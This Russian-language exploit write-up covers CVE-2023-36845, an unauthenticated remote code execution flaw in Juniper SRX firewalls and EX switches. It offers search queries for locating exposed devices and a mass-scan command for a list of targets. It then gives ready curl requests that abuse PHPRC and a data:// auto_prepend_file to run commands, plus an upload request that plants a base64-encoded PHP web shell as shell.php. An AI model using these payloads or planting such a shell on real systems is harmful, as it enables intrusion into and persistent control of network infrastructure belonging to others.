
Эксплойт для CVE-2023-36845, уязвимость манипуляции переменными окружения PHP в Juniper SRX/EX, позволяющая неаутентифицированное удаленное выполнение кода через специально созданные HTTP-запросы.
CVE-2023-36845 представляет собой заметную уязвимость манипуляции переменными окружения PHP, которая затрагивает межсетевые экраны Juniper SRX и коммутаторы EX. Хотя Juniper классифицировал эту уязвимость как среднюю по серьезности, в данной статье мы объясним, как эту единственную уязвимость можно использовать для удаленного выполнения кода без аутентификации.
title:"Juniper Web Device Manager"
title:"Juniper" http.favicon.hash:2141724739
Обнаружение
python3 CVE-2023-36845.py -f targets.txt -o output.txt
Использование любого оберточного протокола в сочетании с auto_prepend_file вполне осуществимо. Наиболее подходящим выбором для этой операции является протокол data://, который позволяет встраивать «вторичный файл» непосредственно в строку. Ниже представлена сложная реализация этой эксплуатации, выполняющая встроенный <? phpinfo(); ?> в схеме data://:
curl "http://target.tld/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
Выполнить команду whoami
<?php shell_exec('whoami'); ?>
curl "http://target.tld/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD9waHAgc2hlbGxfZXhlYygnd2hvYW1pJyk7ID8+Cg=="'
Загрузить файл
<?php if(isset($_REQUEST[cmd])){ echo "<pre>"; $cmd = ($_REQUEST[cmd]); system($cmd); echo "</pre>"; die; }?>
$ curl http://target.tld/webauth_operation.php -d 'rs=do_upload&rsargs[]=[{"fileName": "shell.php", "fileData": ",PD9waHAgaWYoaXNzZXQoJF9SRVFVRVNUW2NtZF0pKXsgZWNobyAiPHByZT4iOyAkY21kID0gKCRfUkVRVUVTVFtjbWRdKTsgc3lzdGVtKCRjbWQpOyBlY2hvICI8L3ByZT4iOyBkaWU7IH0/Pgo=
", "csize": 110}]'
| Параметр | Описание | Тип |
|---|---|---|
| --file / -f | Входной файл с целями | Файл |
| -o | Выходной файл | Файл |